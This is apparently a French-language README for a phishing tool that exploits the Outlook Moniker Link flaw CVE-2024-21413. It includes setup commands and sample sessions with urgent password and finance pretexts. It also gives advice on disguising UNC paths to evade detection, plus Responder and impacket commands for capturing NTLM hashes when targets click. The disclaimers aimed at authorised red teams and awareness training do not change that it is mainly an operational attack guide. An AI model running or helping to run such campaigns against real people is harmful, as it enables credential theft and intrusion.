
Un outil de recherche en sécurité pour simuler des campagnes de phishing ciblées utilisant CVE-2024-21413 (Moniker Link).
Un outil de recherche en sécurité pour simuler des campagnes de phishing ciblées exploitant la vulnérabilité Moniker Link CVE-2024-21413. Conçu pour les opérations red team autorisées, les tests d'intrusion et la formation de sensibilisation à la sécurité.
BLIND TRUST est un framework d'engagement de phishing qui aide les équipes de sécurité à comprendre et tester leurs défenses contre des attaques sophistiquées par courriel. Il exploite la technique Moniker Link pour contourner l'Affichage protégé d'Outlook, offrant une simulation d'attaque réaliste que les organisations peuvent utiliser pour renforcer leur posture de sécurité.
Cet outil automatise le flux de travail de bout en bout d'une campagne — de la configuration à la livraison des courriels — tout en maintenant la sécurité opérationnelle grâce à des chemins UNC personnalisables et des prétextes flexibles.
Les organisations doivent comprendre les techniques d'attaque réelles pour se défendre efficacement. TRUST permet :
.txt de type wordlist# Clone the repository
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST
# Run the tool
python3 TRUST_v7.py
L'outil utilise uniquement les modules de la bibliothèque standard de Python :
getpass - Secure password input
html - HTML escaping
ipaddress - IP address validation
logging - Structured logging
os - File operations
re - Regular expressions
signal - Signal handling
smtplib - SMTP email protocol
sys - System utilities
time - Time operations
dataclasses - Configuration modeling
email - MIME email construction
typing - Type hints
Aucun paquet externe requis — fonctionne partout avec Python 3.7+.
python3 TRUST_v7.py
Suivez l'assistant interactif à travers 5 étapes :
Load targets from [f]ile or [i]nput directly?: i
Target email address(es): [email protected], [email protected]
Email subject [Security Update Required]: Urgent: Password Expiration Notice
Display name (From field) [Microsoft Security Center]: IT Security Team
Email body text: Your password expires in 24 hours. Please update immediately.
UNC host (IP or domain) [192.168.1.100]: it-internal.company.com
UNC share name [updates]: patches
UNC exploit name [patch]: kb_security_2024
Créez targets.txt :
# Finance Department
[email protected]
[email protected]
[email protected]
# Accounting
[email protected]
[email protected]
Puis exécutez :
Load targets from [f]ile or [i]nput directly?: f
Path to targets file: targets.txt
[+] Loaded 5 target(s) from targets.txt
Email subject: Q3 Financial Review - Action Required
Display name: Finance Operations Team
Email body: Please review the attached Q3 financial statement and provide approval.
UNC host: finance-internal.company.com
UNC share: quarterly
UNC exploit: q3_financial_report
Generated UNC path: file://finance-internal.company.com/quarterly!q3_financial_report
Deux options :
.txt avec un courriel par ligne, les commentaires commençant par #C'est ici que vous évitez les signatures évidentes :
finance-internal.company.com) au lieu d'une simple IPquarterly, updates, documentsq3_report, security_patch, training_documentRésultat : Au lieu de l'évident \\192.168.1.100\share!exploit, vous obtenez quelque chose comme file://finance-internal.company.com/quarterly!q3_report.
Start
↓
[STEP 1] Prompt for attacker email and SMTP password
↓
[STEP 2] Prompt for SMB listener IP
↓
[STEP 3] Load target emails (file or input)
↓
↓→ For each target:
│ - Validate email format
│ - Check for duplicates
│
[STEP 4] Prompt for email pretext
│ - Subject, From name, body text
│
[STEP 5] Prompt for UNC path customization
│ - Host, share, exploit name
│
↓
[BUILD] Construct configuration object
↓
[VALIDATE] Check all fields are present and valid
↓
[SUMMARY] Display pre-send summary for review
↓
[CONFIRM] User approves or cancels
↓
[SEND] For each target:
│ - Build MIME email with custom Moniker Link
│ - Attempt SMTP delivery with retry logic
│ - Log per-target success/failure
│
↓
[REPORT] Display campaign results (delivered vs failed)
↓
Exit
CVE-2024-21413 (Moniker Link) est une vulnérabilité d'Outlook qui permet d'intégrer des URL file:// avec un caractère !. Lorsqu'un utilisateur clique sur un tel lien, Outlook tente d'accéder au chemin UNC, déclenchant une tentative d'authentification NTLM même en mode Affichage protégé.
\\host\share!exploit! contourne l'Affichage protégéTRUST automatise la phase de livraison :
Solution : Vérifiez les identifiants SMTP. Pour Gmail, utilisez un mot de passe d'application. Pour la messagerie d'entreprise, contactez votre administrateur SMTP.
Solution : Normal pour certains serveurs SMTP. La connexion se fera sans chiffrement TLS.
Solution : Assurez-vous que les courriels dans les fichiers wordlist sont complets et au format valide ([email protected]).
Solution : L'adresse courriel n'existe pas sur le serveur cible, ou le serveur bloque le relais depuis votre compte.
Solution : Vérifiez que le chemin du fichier est correct et que le fichier existe dans votre répertoire courant.
Q : Cet outil est-il légal à utiliser ? R : Uniquement avec une autorisation écrite explicite de l'organisation que vous testez. Le phishing non autorisé est illégal. Ayez toujours un périmètre de travail et des règles d'engagement écrits.
Q : Cet outil peut-il contourner les filtres de courriel avancés ? R : C'est une simulation réaliste, mais les solutions de sécurité courriel modernes peuvent toujours le détecter. C'est justement le but — si les filtres de votre organisation échouent face à cela, vous avez un problème à résoudre.
Q : Pourquoi personnaliser le chemin UNC ?
R : Le \\IP\share!exploit d'origine est un signe révélateur. Les vrais attaquants utilisent des chemins réalistes. Votre équipe de sécurité devrait détecter à la fois les indicateurs évidents et subtils.
Q : Puis-je l'utiliser pour former les employés ? R : Oui. Après des tests autorisés, utilisez des exemples de campagne anonymisés dans la formation de sensibilisation à la sécurité pour montrer aux employés les techniques d'attaque réelles.
Q : Cet outil capture-t-il les identifiants ? R : Non. TRUST ne fait que délivrer le courriel. Vous avez besoin d'un listener SMB séparé (Responder, impacket-smbserver, etc.) pour capturer les hashs NTLM lorsque les cibles cliquent sur le lien.
Q : Comment configurer un listener SMB ? R : Utilisez Responder sous Linux ou impacket-smbserver :
# Responder (captures hashes)
sudo responder -i eth0 -v
# impacket-smbserver (file server simulation)
impacket-smbserver Share /tmp -smb2support
Cet outil est réservé aux tests de sécurité autorisés.
En utilisant TRUST, vous reconnaissez comprendre les implications juridiques et disposer de l'autorisation appropriée.
Ce projet est publié sous la licence MIT avec l'ajout d'une restriction d'utilisation. Voir LICENSE pour plus de détails.
Ce projet est basé sur et inspiré par la recherche et l'implémentation originales de CVE-2024-21413 par CMNatic (https://github.com/cmnatic).
CMNatic mérite tout le crédit pour :
Ce dépôt représente une version modifiée et étendue de ce travail, avec des améliorations incluant :
Voir CREDITS.md pour une attribution plus détaillée.
H1SS - A étendu et maintenu cette version à des fins de recherche en sécurité et de tests autorisés.
Les contributions sont les bienvenues. Veuillez vous assurer que toute modification :
Voir CONTRIBUTING.md pour les directives.
Pour les problèmes, questions ou suggestions, ouvrez un ticket (issue) sur GitHub.
Rappel : Cet outil est un projet de recherche. Utilisez-le de manière responsable, légale et éthique.